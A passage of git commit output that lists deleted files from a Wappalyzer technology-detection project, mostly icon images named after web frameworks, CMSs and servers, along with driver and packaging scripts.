delete mode 100644 Wappalyzer/drivers/html/images/icons/punBB.png delete mode 100644 Wappalyzer/drivers/html/images/icons/reCAPTCHA.png delete mode 100644 Wappalyzer/drivers/html/images/icons/sIFR.png delete mode 100644 Wappalyzer/drivers/html/images/icons/sNews.png delete mode 100644 Wappalyzer/drivers/html/images/icons/script.aculo.us.png delete mode 100644 Wappalyzer/drivers/html/images/icons/spin.js.png delete mode 100644 Wappalyzer/drivers/html/images/icons/swift.engine.png delete mode 100644 Wappalyzer/drivers/html/images/icons/three.js.png delete mode 100644 Wappalyzer/drivers/html/images/icons/thttpd.png delete mode 100644 Wappalyzer/drivers/html/images/icons/total.js.png delete mode 100755 Wappalyzer/drivers/html/images/icons/uCore.png delete mode 100644 Wappalyzer/drivers/html/images/icons/vBulletin.png delete mode 100644 Wappalyzer/drivers/html/images/icons/viennaCMS.png delete mode 100644 Wappalyzer/drivers/html/images/icons/webEdition.png delete mode 100644 Wappalyzer/drivers/html/images/icons/xCharts.png delete mode 100644 Wappalyzer/drivers/html/images/icons/xtCommerce.png delete mode 100644 Wappalyzer/drivers/html/images/icons/xui.png delete mode 100644 Wappalyzer/drivers/html/images/icons/yepnope.js.png delete mode 100644 Wappalyzer/drivers/html/index.html delete mode 100644 Wappalyzer/drivers/html/js/driver.js delete mode 100644 Wappalyzer/drivers/html/js/wappalyzer.js delete mode 100644 Wappalyzer/drivers/phantomjs/.gitignore delete mode 100644 Wappalyzer/drivers/phantomjs/js/driver.js delete mode 100644 Wappalyzer/drivers/phantomjs/js/wappalyzer.js delete mode 100644 Wappalyzer/drivers/phantomjs/lib/PLACE_PHANTOMJS_BINARY_HERE delete mode 100644 Wappalyzer/drivers/php/Wappalyzer.php delete mode 100644 Wappalyzer/drivers/php/WappalyzerException.php delete mode 100644 Wappalyzer/drivers/php/index.php delete mode 100644 Wappalyzer/drivers/php/js/driver.js delete mode 100644 Wappalyzer/drivers/php/js/wappalyzer.js delete mode 100644 Wappalyzer/drivers/python/js/.gitkeep delete mode 100644 Wappalyzer/drivers/python/js/wappalyzer.js delete mode 100755 Wappalyzer/drivers/python/wappalyzer.py delete mode 100644 Wappalyzer/drivers/python_raw/__init__.py delete mode 100644 Wappalyzer/drivers/python_raw/real_test.py delete mode 100644 Wappalyzer/drivers/python_raw/setup.py delete mode 100644 Wappalyzer/drivers/python_raw/tests.py delete mode 100755 Wappalyzer/drivers/python_raw/wappalyzer.py delete mode 100755 Wappalyzer/drivers/ruby/wappalyzer.rb delete mode 100644 Wappalyzer/links.cmd delete mode 100755 Wappalyzer/links.sh delete mode 100644 Wappalyzer/package.cmd delete mode 100755 Wappalyzer/package.sh delete mode 100644 Wappalyzer/share/apps.json delete mode 100644 Wappalyzer/share/images/icons/1C-Bitrix.png delete mode 100644 Wappalyzer/share/images/icons/1und1.png delete mode 100644 Wappalyzer/share/images/icons/2z Project.png delete mode 100755 Wappalyzer/share/images/icons/3DM.png delete mode 100644 Wappalyzer/share/images/icons/3dCart.png delete mode 100755 Wappalyzer/share/images/icons/3ware.png delete mode 100644 Wappalyzer/share/images/icons/AMPcms.png delete mode 100644 Wappalyzer/share/images/icons/AOLserver.png delete mode 100644 Wappalyzer/share/images/icons/AT Internet Analyzer.png delete mode 100644 Wappalyzer/share/images/icons/AT Internet XiTi.png delete mode 100755 Wappalyzer/share/images/icons/ATEN.png delete mode 100644 Wappalyzer/share/images/icons/ATG Web Commerce.png delete mode 100644 Wappalyzer/share/images/icons/AWStats.png delete mode 100644 Wappalyzer/share/images/icons/Accessible Portal.png delete mode 100644 Wappalyzer/share/images/icons/AdInfinity.png delete mode 100644 Wappalyzer/share/images/icons/AdRiver.png delete mode 100644 Wappalyzer/share/images/icons/AdRoll.png delete mode 100644 Wappalyzer/share/images/icons/Adcash.png delete mode 100644 Wappalyzer/share/images/icons/AddShoppers.png delete mode 100644 Wappalyzer/share/images/icons/AddThis.png delete mode 100644 Wappalyzer/share/images/icons/Adobe CQ5.png delete mode 100644 Wappalyzer/share/images/icons/Adobe ColdFusion.png delete mode 100644 Wappalyzer/share/images/icons/Adobe GoLive.png delete mode 100644 Wappalyzer/share/images/icons/Adobe Muse.png delete mode 100644 Wappalyzer/share/images/icons/Adobe RoboHelp.png delete mode 100644 Wappalyzer/share/images/icons/Advanced Web Stats.png delete mode 100644 Wappalyzer/share/images/icons/Advert Stream.png delete mode 100644 Wappalyzer/share/images/icons/Adzerk.png delete mode 100644 Wappalyzer/share/images/icons/Airee.png delete mode 100644 Wappalyzer/share/images/icons/Akamai.png delete mode 100644 Wappalyzer/share/images/icons/Algolia Realtime Search.png delete mode 100644 Wappalyzer/share/images/icons/Allegro RomPager.png delete mode 100755 Wappalyzer/share/images/icons/Alloy.png delete mode 100644 Wappalyzer/share/images/icons/AlloyUI.png delete mode 100644 Wappalyzer/share/images/icons/Amaya.png delete mode 100644 Wappalyzer/share/images/icons/Ametys.png delete mode 100644 Wappalyzer/share/images/icons/Amiro.CMS.png delete mode 100644 Wappalyzer/share/images/icons/Anchor CMS.png delete mode 100644 Wappalyzer/share/images/icons/AngularJS.png delete mode 100644 Wappalyzer/share/images/icons/Apache HBase.png delete mode 100755 Wappalyzer/share/images/icons/Apache Hadoop.png delete mode 100644 Wappalyzer/share/images/icons/Apache JSPWiki.png delete mode 100644 Wappalyzer/share/images/icons/Apache Tomcat.png delete mode 100644 Wappalyzer/share/images/icons/Apache Traffic Server.png delete mode 100644 Wappalyzer/share/images/icons/Apache Wicket.png delete mode 100644 Wappalyzer/share/images/icons/Apache.png delete mode 100644 Wappalyzer/share/images/icons/AppNexus.png delete mode 100644 Wappalyzer/share/images/icons/Arc Forum.png delete mode 100644 Wappalyzer/share/images/icons/Artifactory Web Server.png delete mode 100644 Wappalyzer/share/images/icons/Artifactory.png delete mode 100644 Wappalyzer/share/images/icons/AsciiDoc.png delete mode 100644 Wappalyzer/share/images/icons/Atlassian Bitbucket.png delete mode 100644 Wappalyzer/share/images/icons/Atlassian Confluence.png delete mode 100644 Wappalyzer/share/images/icons/Atlassian FishEye.png delete mode 100644 Wappalyzer/share/images/icons/Atlassian Jira Issue Collector.png delete mode 100644 Wappalyzer/share/images/icons/Atlassian Jira.png delete mode 100644 Wappalyzer/share/images/icons/Avangate.png delete mode 100644 Wappalyzer/share/images/icons/BIGACE.png delete mode 100644 Wappalyzer/share/images/icons/Backbone.js.png delete mode 100644 Wappalyzer/share/images/icons/Banshee.png delete mode 100755 Wappalyzer/share/images/icons/BaseHTTP.png delete mode 100644 Wappalyzer/share/images/icons/BigDump.png delete mode 100644 Wappalyzer/share/images/icons/Bigcommerce.png delete mode 100644 Wappalyzer/share/images/icons/Bigware.png delete mode 100644 Wappalyzer/share/images/icons/BittAds.png delete mode 100644 Wappalyzer/share/images/icons/Blip.tv.png delete mode 100644 Wappalyzer/share/images/icons/Blogger.png delete mode 100644 Wappalyzer/share/images/icons/BlueKai.png delete mode 100644 Wappalyzer/share/images/icons/Bluefish.png delete mode 100644 Wappalyzer/share/images/icons/Boa.png delete mode 100644 Wappalyzer/share/images/icons/Bolt.png delete mode 100644 Wappalyzer/share/images/icons/Bonfire.png delete mode 100755 Wappalyzer/share/images/icons/Brother.png delete mode 100644 Wappalyzer/share/images/icons/BrowserCMS.png delete mode 100644 Wappalyzer/share/images/icons/BugSense.png delete mode 100644 Wappalyzer/share/images/icons/BugSnag.png delete mode 100644 Wappalyzer/share/images/icons/Bugzilla.png delete mode 100644 Wappalyzer/share/images/icons/Burning Board.png delete mode 100644 Wappalyzer/share/images/icons/Business Catalyst.png delete mode 100644 Wappalyzer/share/images/icons/BuySellAds.png delete mode 100644 Wappalyzer/share/images/icons/C++.png delete mode 100644 Wappalyzer/share/images/icons/CFML.png delete mode 100644 Wappalyzer/share/images/icons/CKEditor.png delete mode 100644 Wappalyzer/share/images/icons/CMS Made Simple.png delete mode 100644 Wappalyzer/share/images/icons/CMSimple.png delete mode 100644 Wappalyzer/share/images/icons/CO2Stats.png delete mode 100644 Wappalyzer/share/images/icons/CPG Dragonfly.png delete mode 100644 Wappalyzer/share/images/icons/CS Cart.png delete mode 100644 Wappalyzer/share/images/icons/CacheFly.png delete mode 100644 Wappalyzer/share/images/icons/CakePHP.png delete mode 100755 Wappalyzer/share/images/icons/Canon HTTP Server.png delete mode 100755 Wappalyzer/share/images/icons/Canon.png delete mode 100644 Wappalyzer/share/images/icons/Carbon Ads.png delete mode 100644 Wappalyzer/share/images/icons/Cargo.png delete mode 100755 Wappalyzer/share/images/icons/Catwalk.png delete mode 100644 Wappalyzer/share/images/icons/CentOS.png delete mode 100644 Wappalyzer/share/images/icons/CenteHTTPd.png delete mode 100644 Wappalyzer/share/images/icons/Chameleon.png delete mode 100644 Wappalyzer/share/images/icons/Chamilo.png delete mode 100644 Wappalyzer/share/images/icons/Chartbeat.png delete mode 100644 Wappalyzer/share/images/icons/Cherokee.png delete mode 100755 Wappalyzer/share/images/icons/CherryPy.png delete mode 100644 Wappalyzer/share/images/icons/Chitika.png delete mode 100644 Wappalyzer/share/images/icons/ClickHeat.png delete mode 100644 Wappalyzer/share/images/icons/ClickTale.png delete mode 100644 Wappalyzer/share/images/icons/Clicky.png delete mode 100644 Wappalyzer/share/images/icons/CloudFlare.png delete mode 100755 Wappalyzer/share/images/icons/Cloudera.png delete mode 100644 Wappalyzer/share/images/icons/CodeIgniter.png delete mode 100644 Wappalyzer/share/images/icons/CodeMirror.png delete mode 100644 Wappalyzer/share/images/icons/Commerce Server.png delete mode 100755 Wappalyzer/share/images/icons/CompaqHTTPServer.png delete mode 100644 Wappalyzer/share/images/icons/Concrete5.png delete mode 100644 Wappalyzer/share/images/icons/Connect.png delete mode 100644 Wappalyzer/share/images/icons/Contao.png delete mode 100644 Wappalyzer/share/images/icons/Contenido.png delete mode 100644 Wappalyzer/share/images/icons/Contens.png delete mode 100644 Wappalyzer/share/images/icons/ContentBox.png delete mode 100644 Wappalyzer/share/images/icons/ConversionLab.png delete mode 100644 Wappalyzer/share/images/icons/Coppermine.png delete mode 100644 Wappalyzer/share/images/icons/Cosmoshop.png delete mode 100644 Wappalyzer/share/images/icons/Cotonti.png delete mode 100644 Wappalyzer/share/images/icons/CouchDB.png delete mode 100644 Wappalyzer/share/images/icons/CppCMS.png delete mode 100644 Wappalyzer/share/images/icons/Craft CMS.png delete mode 100644 Wappalyzer/share/images/icons/Crazy Egg.png delete mode 100644 Wappalyzer/share/images/icons/Criteo.png delete mode 100644 Wappalyzer/share/images/icons/Cross Pixel.png delete mode 100644 Wappalyzer/share/images/icons/CubeCart.png delete mode 100644 Wappalyzer/share/images/icons/Cufon.png delete mode 100644 Wappalyzer/share/images/icons/D3.png delete mode 100644 Wappalyzer/share/images/icons/DAV.png delete mode 100644 Wappalyzer/share/images/icons/DHTMLX.png delete mode 100644 Wappalyzer/share/images/icons/DTG.png delete mode 100644 Wappalyzer/share/images/icons/Dancer.png delete mode 100644 Wappalyzer/share/images/icons/Danneo CMS.png delete mode 100644 Wappalyzer/share/images/icons/Dart.png delete mode 100755 Wappalyzer/share/images/icons/Darwin.png delete mode 100644 Wappalyzer/share/images/icons/DataLife Engine.png delete mode 100644 Wappalyzer/share/images/icons/David Webbox.png delete mode 100644 Wappalyzer/share/images/icons/Debian.png delete mode 100644 Wappalyzer/share/images/icons/Decorum.png delete mode 100644 Wappalyzer/share/images/icons/DedeCMS.png delete mode 100755 Wappalyzer/share/images/icons/Dell.png delete mode 100644 Wappalyzer/share/images/icons/Demandware.png delete mode 100644 Wappalyzer/share/images/icons/Deployd.png delete mode 100644 Wappalyzer/share/images/icons/DirectAdmin.png delete mode 100644 Wappalyzer/share/images/icons/Discourse.png delete mode 100644 Wappalyzer/share/images/icons/Disqus.png delete mode 100644 Wappalyzer/share/images/icons/Django CMS.png delete mode 100644 Wappalyzer/share/images/icons/Django.png delete mode 100644 Wappalyzer/share/images/icons/Dojo.png delete mode 100644 Wappalyzer/share/images/icons/Dokeos.png delete mode 100644 Wappalyzer/share/images/icons/DokuWiki.png delete mode 100644 Wappalyzer/share/images/icons/DotNetNuke.png delete mode 100644 Wappalyzer/share/images/icons/Dotclear.png delete mode 100644 Wappalyzer/share/images/icons/Doxygen.png delete mode 100644 Wappalyzer/share/images/icons/DreamWeaver.png delete mode 100644 Wappalyzer/share/images/icons/Drupal Commerce.png delete mode 100644 Wappalyzer/share/images/icons/Drupal.png delete mode 100644 Wappalyzer/share/images/icons/Dynamicweb.png delete mode 100644 Wappalyzer/share/images/icons/E-Merchant.png delete mode 100644 Wappalyzer/share/images/icons/ELOG HTTP.png delete mode 100644 Wappalyzer/share/images/icons/ELOG.png delete mode 100644 Wappalyzer/share/images/icons/EPiServer.png delete mode 100644 Wappalyzer/share/images/icons/EPrints.png delete mode 100644 Wappalyzer/share/images/icons/ESERV-10.png delete mode 100755 Wappalyzer/share/images/icons/EWS-NIC4.png delete mode 100755 Wappalyzer/share/images/icons/Ecodoo.png delete mode 100644 Wappalyzer/share/images/icons/EdgeCast.png delete mode 100644 Wappalyzer/share/images/icons/Eloqua.png delete mode 100644 Wappalyzer/share/images/icons/EmbedThis Appweb.png delete mode 100644 Wappalyzer/share/images/icons/Embedthis-http.png delete mode 100644 Wappalyzer/share/images/icons/Ember.js.png delete mode 100644 Wappalyzer/share/images/icons/Enyo.png delete mode 100644 Wappalyzer/share/images/icons/Epom.png delete mode 100755 Wappalyzer/share/images/icons/Erlang.png delete mode 100644 Wappalyzer/share/images/icons/Exhibit.png delete mode 100644 Wappalyzer/share/images/icons/Express.png delete mode 100644 Wappalyzer/share/images/icons/ExpressionEngine.png delete mode 100644 Wappalyzer/share/images/icons/ExtJS.png delete mode 100644 Wappalyzer/share/images/icons/FAST ESP.png delete mode 100644 Wappalyzer/share/images/icons/FAST Search for SharePoint.png delete mode 100644 Wappalyzer/share/images/icons/FWP.png delete mode 100644 Wappalyzer/share/images/icons/Fact Finder.png delete mode 100644 Wappalyzer/share/images/icons/Fat-Free Framework.png delete mode 100644 Wappalyzer/share/images/icons/Fedora.png delete mode 100644 Wappalyzer/share/images/icons/Fireblade.png delete mode 100644 Wappalyzer/share/images/icons/FlashCom.png delete mode 100644 Wappalyzer/share/images/icons/FlexCMP.png delete mode 100644 Wappalyzer/share/images/icons/FluxBB.png delete mode 100644 Wappalyzer/share/images/icons/Flyspray.png delete mode 100644 Wappalyzer/share/images/icons/Font Awesome.png delete mode 100644 Wappalyzer/share/images/icons/Fortune3.png delete mode 100644 Wappalyzer/share/images/icons/FreeBSD.png delete mode 100644 Wappalyzer/share/images/icons/FreeTextBox.png delete mode 100644 Wappalyzer/share/images/icons/FrontPage.png delete mode 100644 Wappalyzer/share/images/icons/Fusion Ads.png delete mode 100644 Wappalyzer/share/images/icons/G-WAN.png delete mode 100644 Wappalyzer/share/images/icons/GX WebManager.png delete mode 100644 Wappalyzer/share/images/icons/Gallery.png delete mode 100644 Wappalyzer/share/images/icons/Gambio.png delete mode 100644 Wappalyzer/share/images/icons/Gauges.png delete mode 100644 Wappalyzer/share/images/icons/Gentoo.png delete mode 100644 Wappalyzer/share/images/icons/Get Satisfaction.png delete mode 100644 Wappalyzer/share/images/icons/GetSimple CMS.png delete mode 100644 Wappalyzer/share/images/icons/Ghost.png delete mode 100644 Wappalyzer/share/images/icons/GitBook.png delete mode 100644 Wappalyzer/share/images/icons/GitLab.png delete mode 100644 Wappalyzer/share/images/icons/GlassFish.png delete mode 100644 Wappalyzer/share/images/icons/Glyphicons.png delete mode 100644 Wappalyzer/share/images/icons/GoAhead.png delete mode 100644 Wappalyzer/share/images/icons/GoStats.png delete mode 100644 Wappalyzer/share/images/icons/Google AdSense.png delete mode 100644 Wappalyzer/share/images/icons/Google Analytics.png delete mode 100644 Wappalyzer/share/images/icons/Google App Engine.png delete mode 100644 Wappalyzer/share/images/icons/Google Charts.png delete mode 100644 Wappalyzer/share/images/icons/Google Code Prettify.png delete mode 100644 Wappalyzer/share/images/icons/Google Font API.png delete mode 100644 Wappalyzer/share/images/icons/Google Friend Connect.png delete mode 100644 Wappalyzer/share/images/icons/Google Maps.png delete mode 100644 Wappalyzer/share/images/icons/Google PageSpeed.png delete mode 100644 Wappalyzer/share/images/icons/Google Sites.png delete mode 100644 Wappalyzer/share/images/icons/Google Tag Manager.png delete mode 100644 Wappalyzer/share/images/icons/Google Wallet.png delete mode 100644 Wappalyzer/share/images/icons/Google Web Toolkit.png delete mode 100644 Wappalyzer/share/images/icons/Graffiti CMS.png delete mode 100755 Wappalyzer/share/images/icons/Grandstream.png delete mode 100644 Wappalyzer/share/images/icons/Gravatar.png delete mode 100644 Wappalyzer/share/images/icons/Gravity Insights.png delete mode 100644 Wappalyzer/share/images/icons/Green Valley CMS.png delete mode 100755 Wappalyzer/share/images/icons/HP ChaiServer.png delete mode 100755 Wappalyzer/share/images/icons/HP Compact Server.png delete mode 100755 Wappalyzer/share/images/icons/HP ProCurve.png delete mode 100755 Wappalyzer/share/images/icons/HP System Management.png delete mode 100755 Wappalyzer/share/images/icons/HP iLO.png delete mode 100755 Wappalyzer/share/images/icons/HP.png delete mode 100644 Wappalyzer/share/images/icons/HTTP-Server.png delete mode 100644 Wappalyzer/share/images/icons/Handlebars.png delete mode 100644 Wappalyzer/share/images/icons/Happy ICS Server.png delete mode 100644 Wappalyzer/share/images/icons/HeadJS.png delete mode 100644 Wappalyzer/share/images/icons/Hello Bar.png delete mode 100644 Wappalyzer/share/images/icons/Hiawatha.png delete mode 100644 Wappalyzer/share/images/icons/Highcharts.png delete mode 100644 Wappalyzer/share/images/icons/Highstock.png delete mode 100644 Wappalyzer/share/images/icons/Hippo.png delete mode 100644 Wappalyzer/share/images/icons/Hogan.js.png delete mode 100644 Wappalyzer/share/images/icons/Hotaru CMS.png delete mode 100644 Wappalyzer/share/images/icons/HubSpot.png delete mode 100644 Wappalyzer/share/images/icons/Hybris.png delete mode 100644 Wappalyzer/share/images/icons/IBM Coremetrics.png delete mode 100644 Wappalyzer/share/images/icons/IBM HTTP Server.png delete mode 100644 Wappalyzer/share/images/icons/IBM Tivoli Storage Manager.png delete mode 100644 Wappalyzer/share/images/icons/IBM WebSphere Commerce.png delete mode 100644 Wappalyzer/share/images/icons/IBM WebSphere Portal.png delete mode 100644 Wappalyzer/share/images/icons/IIS.png delete mode 100644 Wappalyzer/share/images/icons/IPB.png delete mode 100644 Wappalyzer/share/images/icons/ImpressCMS.png delete mode 100644 Wappalyzer/share/images/icons/ImpressPages.png delete mode 100644 Wappalyzer/share/images/icons/InProces.png delete mode 100644 Wappalyzer/share/images/icons/Incapsula.png delete mode 100644 Wappalyzer/share/images/icons/Indexhibit.png delete mode 100755 Wappalyzer/share/images/icons/Indico.png delete mode 100644 Wappalyzer/share/images/icons/Indy.png delete mode 100644 Wappalyzer/share/images/icons/InstantCMS.png delete mode 100644 Wappalyzer/share/images/icons/Intel Active Management Technology.png delete mode 100644 Wappalyzer/share/images/icons/IntenseDebate.png delete mode 100644 Wappalyzer/share/images/icons/Intercom.png delete mode 100644 Wappalyzer/share/images/icons/Intershop.png delete mode 100644 Wappalyzer/share/images/icons/Invenio.png delete mode 100644 Wappalyzer/share/images/icons/Ionicons.png delete mode 100644 Wappalyzer/share/images/icons/JAlbum.png delete mode 100644 Wappalyzer/share/images/icons/JBoss Application Server.png delete mode 100644 Wappalyzer/share/images/icons/JBoss Web.png delete mode 100755 Wappalyzer/share/images/icons/JC-HTTPD.png delete mode 100644 Wappalyzer/share/images/icons/JS Charts.png delete mode 100644 Wappalyzer/share/images/icons/JTL Shop.png delete mode 100644 Wappalyzer/share/images/icons/Jalios.png delete mode 100644 Wappalyzer/share/images/icons/Java Servlet.png delete mode 100644 Wappalyzer/share/images/icons/Java.png delete mode 100644 Wappalyzer/share/images/icons/JavaServer Faces.png delete mode 100644 Wappalyzer/share/images/icons/JavaServer Pages.png delete mode 100644 Wappalyzer/share/images/icons/Javascript Infovis Toolkit.png delete mode 100644 Wappalyzer/share/images/icons/Jekyll.png delete mode 100644 Wappalyzer/share/images/icons/Jenkins.png delete mode 100755 Wappalyzer/share/images/icons/Jetty.png delete mode 100644 Wappalyzer/share/images/icons/Jirafe.png delete mode 100644 Wappalyzer/share/images/icons/Jo.png delete mode 100644 Wappalyzer/share/images/icons/JobberBase.png delete mode 100644 Wappalyzer/share/images/icons/Joomla.png delete mode 100644 Wappalyzer/share/images/icons/K2.png delete mode 100644 Wappalyzer/share/images/icons/KISSmetrics.png delete mode 100755 Wappalyzer/share/images/icons/KS_HTTP.png delete mode 100644 Wappalyzer/share/images/icons/Kampyle.png delete mode 100644 Wappalyzer/share/images/icons/Kendo UI.png delete mode 100644 Wappalyzer/share/images/icons/Kentico CMS.png delete mode 100644 Wappalyzer/share/images/icons/KineticJS.png delete mode 100644 Wappalyzer/share/images/icons/Knockout.js.png delete mode 100644 Wappalyzer/share/images/icons/Koa.png delete mode 100755 Wappalyzer/share/images/icons/Koala Framework.png delete mode 100644 Wappalyzer/share/images/icons/Koego.png delete mode 100644 Wappalyzer/share/images/icons/Kohana.png delete mode 100644 Wappalyzer/share/images/icons/Kolibri CMS.png delete mode 100644 Wappalyzer/share/images/icons/Komodo CMS.png delete mode 100644 Wappalyzer/share/images/icons/Koobi.png delete mode 100644 Wappalyzer/share/images/icons/Kooboo CMS.png delete mode 100644 Wappalyzer/share/images/icons/LEPTON.png delete mode 100755 Wappalyzer/share/images/icons/LabVIEW.png delete mode 100644 Wappalyzer/share/images/icons/Laravel.png delete mode 100644 Wappalyzer/share/images/icons/Leaflet.png delete mode 100644 Wappalyzer/share/images/icons/Less.png delete mode 100644 Wappalyzer/share/images/icons/Liferay.png delete mode 100644 Wappalyzer/share/images/icons/Lift.png delete mode 100644 Wappalyzer/share/images/icons/LightMon Engine.png delete mode 100644 Wappalyzer/share/images/icons/Lightbox.png delete mode 100644 Wappalyzer/share/images/icons/LimeSurvey.png delete mode 100644 Wappalyzer/share/images/icons/LinkSmart.png delete mode 100644 Wappalyzer/share/images/icons/LiteSpeed.png delete mode 100644 Wappalyzer/share/images/icons/LiveJournal.png delete mode 100644 Wappalyzer/share/images/icons/LiveStreet CMS.png delete mode 100644 Wappalyzer/share/images/icons/Livefyre.png delete mode 100644 Wappalyzer/share/images/icons/Lo-dash.png delete mode 100644 Wappalyzer/share/images/icons/Lockerz Share.png delete mode 100644 Wappalyzer/share/images/icons/Locomotive.png delete mode 100644 Wappalyzer/share/images/icons/Lodash.png delete mode 100755 Wappalyzer/share/images/icons/Logitech Media Server.png delete mode 100644 Wappalyzer/share/images/icons/Lotus Domino.png delete mode 100644 Wappalyzer/share/images/icons/Lua.png delete mode 100644 Wappalyzer/share/images/icons/M.R. Inc Webserver.png delete mode 100644 Wappalyzer/share/images/icons/M.R. Inc Wild CMS.png delete mode 100755 Wappalyzer/share/images/icons/MOBOTIX.png delete mode 100644 Wappalyzer/share/images/icons/MODx.png delete mode 100644 Wappalyzer/share/images/icons/Magento.png delete mode 100644 Wappalyzer/share/images/icons/Mambo.png delete mode 100644 Wappalyzer/share/images/icons/MantisBT.png delete mode 100644 Wappalyzer/share/images/icons/ManyContacts.png delete mode 100644 Wappalyzer/share/images/icons/Marketo.png delete mode 100644 Wappalyzer/share/images/icons/MathJax.png delete mode 100644 Wappalyzer/share/images/icons/MaxSite CMS.png delete mode 100644 Wappalyzer/share/images/icons/MediaElement.js.png delete mode 100644 Wappalyzer/share/images/icons/MediaTomb.png delete mode 100644 Wappalyzer/share/images/icons/MediaWiki.png delete mode 100644 Wappalyzer/share/images/icons/Meebo.png delete mode 100644 Wappalyzer/share/images/icons/Methode.png delete mode 100644 Wappalyzer/share/images/icons/Microsoft ASP.NET.png delete mode 100644 Wappalyzer/share/images/icons/Microsoft HTTPAPI.png delete mode 100644 Wappalyzer/share/images/icons/Microsoft SharePoint.png delete mode 100644 Wappalyzer/share/images/icons/MiniBB.png delete mode 100644 Wappalyzer/share/images/icons/MiniServ.png delete mode 100644 Wappalyzer/share/images/icons/Mint.png delete mode 100644 Wappalyzer/share/images/icons/Mixpanel.png delete mode 100644 Wappalyzer/share/images/icons/Mobify.png delete mode 100644 Wappalyzer/share/images/icons/MochiKit.png delete mode 100644 Wappalyzer/share/images/icons/MochiWeb.png delete mode 100644 Wappalyzer/share/images/icons/Modernizr.png delete mode 100644 Wappalyzer/share/images/icons/MoinMoin.png delete mode 100644 Wappalyzer/share/images/icons/Mojolicious.png delete mode 100644 Wappalyzer/share/images/icons/Mollom.png delete mode 100644 Wappalyzer/share/images/icons/Moment Timezone.png delete mode 100644 Wappalyzer/share/images/icons/Moment.js.png delete mode 100644 Wappalyzer/share/images/icons/Mondo Media.png delete mode 100644 Wappalyzer/share/images/icons/MongoDB.png delete mode 100644 Wappalyzer/share/images/icons/Mongrel.png delete mode 100644 Wappalyzer/share/images/icons/Monkey HTTP Server.png delete mode 100644 Wappalyzer/share/images/icons/Mono.net.png delete mode 100644 Wappalyzer/share/images/icons/Mono.png delete mode 100644 Wappalyzer/share/images/icons/MooTools.png delete mode 100644 Wappalyzer/share/images/icons/Moodle.png delete mode 100644 Wappalyzer/share/images/icons/Moogo.png delete mode 100644 Wappalyzer/share/images/icons/Motion-httpd.png delete mode 100644 Wappalyzer/share/images/icons/Movable Type.png delete mode 100644 Wappalyzer/share/images/icons/Moxa.png delete mode 100644 Wappalyzer/share/images/icons/Mozard Suite.png delete mode 100644 Wappalyzer/share/images/icons/Mura CMS.png delete mode 100644 Wappalyzer/share/images/icons/Mustache.png delete mode 100644 Wappalyzer/share/images/icons/MyBB.png delete mode 100644 Wappalyzer/share/images/icons/MyBlogLog.png delete mode 100644 Wappalyzer/share/images/icons/MySQL.png delete mode 100644 Wappalyzer/share/images/icons/Mynetcap.png delete mode 100644 Wappalyzer/share/images/icons/NOIX.png delete mode 100644 Wappalyzer/share/images/icons/NVD3.png delete mode 100644 Wappalyzer/share/images/icons/Nedstat.png delete mode 100644 Wappalyzer/share/images/icons/Nepso.png delete mode 100644 Wappalyzer/share/images/icons/Netmonitor.png delete mode 100644 Wappalyzer/share/images/icons/Nette Framework.png delete mode 100644 Wappalyzer/share/images/icons/New Relic.png delete mode 100644 Wappalyzer/share/images/icons/Nginx.png delete mode 100644 Wappalyzer/share/images/icons/Nokia Maps.png delete mode 100644 Wappalyzer/share/images/icons/OXID eShop.png delete mode 100644 Wappalyzer/share/images/icons/October CMS.png delete mode 100644 Wappalyzer/share/images/icons/OmniTouch 8660 My Teamwork.png delete mode 100644 Wappalyzer/share/images/icons/OneStat.png delete mode 100644 Wappalyzer/share/images/icons/Open AdStream.png delete mode 100644 Wappalyzer/share/images/icons/Open Journal Systems.png delete mode 100644 Wappalyzer/share/images/icons/Open Web Analytics.png delete mode 100644 Wappalyzer/share/images/icons/OpenCart.png delete mode 100644 Wappalyzer/share/images/icons/OpenGSE.png delete mode 100644 Wappalyzer/share/images/icons/OpenGrok.png delete mode 100644 Wappalyzer/share/images/icons/OpenLayers.png delete mode 100644 Wappalyzer/share/images/icons/OpenNemas.png delete mode 100644 Wappalyzer/share/images/icons/OpenSSL.png delete mode 100644 Wappalyzer/share/images/icons/OpenText Web Solutions.png delete mode 100644 Wappalyzer/share/images/icons/Ophal.png delete mode 100644 Wappalyzer/share/images/icons/Optimizely.png delete mode 100644 Wappalyzer/share/images/icons/Oracle Application Server.png delete mode 100644 Wappalyzer/share/images/icons/Oracle Dynamic Monitoring Service.png delete mode 100644 Wappalyzer/share/images/icons/Oracle HTTP Server.png delete mode 100644 Wappalyzer/share/images/icons/Oracle Recommendations On Demand.png delete mode 100644 Wappalyzer/share/images/icons/Oracle Web Cache.png delete mode 100644 Wappalyzer/share/images/icons/Outbrain.png delete mode 100644 Wappalyzer/share/images/icons/Outlook Web App.png delete mode 100644 Wappalyzer/share/images/icons/PANSITE.png delete mode 100644 Wappalyzer/share/images/icons/PDF.js.png delete mode 100644 Wappalyzer/share/images/icons/PHP-Fusion.png delete mode 100644 Wappalyzer/share/images/icons/PHP-Nuke.png delete mode 100644 Wappalyzer/share/images/icons/PHP.png delete mode 100644 Wappalyzer/share/images/icons/Pagekit.png delete mode 100644 Wappalyzer/share/images/icons/Pardot.png delete mode 100644 Wappalyzer/share/images/icons/Parse.ly.png delete mode 100644 Wappalyzer/share/images/icons/PayPal.png delete mode 100644 Wappalyzer/share/images/icons/PencilBlue.png delete mode 100644 Wappalyzer/share/images/icons/Percussion.png delete mode 100755 Wappalyzer/share/images/icons/PerfSONAR-PS.png delete mode 100644 Wappalyzer/share/images/icons/Perl.png delete mode 100644 Wappalyzer/share/images/icons/Petrojs.png delete mode 100644 Wappalyzer/share/images/icons/Phaser.png delete mode 100644 Wappalyzer/share/images/icons/Piano Solo.png delete mode 100644 Wappalyzer/share/images/icons/Piwik.png delete mode 100644 Wappalyzer/share/images/icons/Planet.png delete mode 100644 Wappalyzer/share/images/icons/Plentymarkets.png delete mode 100644 Wappalyzer/share/images/icons/Plesk.png delete mode 100644 Wappalyzer/share/images/icons/Pligg.png delete mode 100644 Wappalyzer/share/images/icons/Plone.png delete mode 100644 Wappalyzer/share/images/icons/Plura.png delete mode 100644 Wappalyzer/share/images/icons/Po.st.png delete mode 100644 Wappalyzer/share/images/icons/Polymer.png delete mode 100644 Wappalyzer/share/images/icons/Posterous.png delete mode 100644 Wappalyzer/share/images/icons/Powergap.png delete mode 100644 Wappalyzer/share/images/icons/Prefix-Free.png delete mode 100644 Wappalyzer/share/images/icons/Prestashop.png delete mode 100644 Wappalyzer/share/images/icons/Project Wonderful.png delete mode 100644 Wappalyzer/share/images/icons/Prototype.png delete mode 100644 Wappalyzer/share/images/icons/Protovis.png delete mode 100644 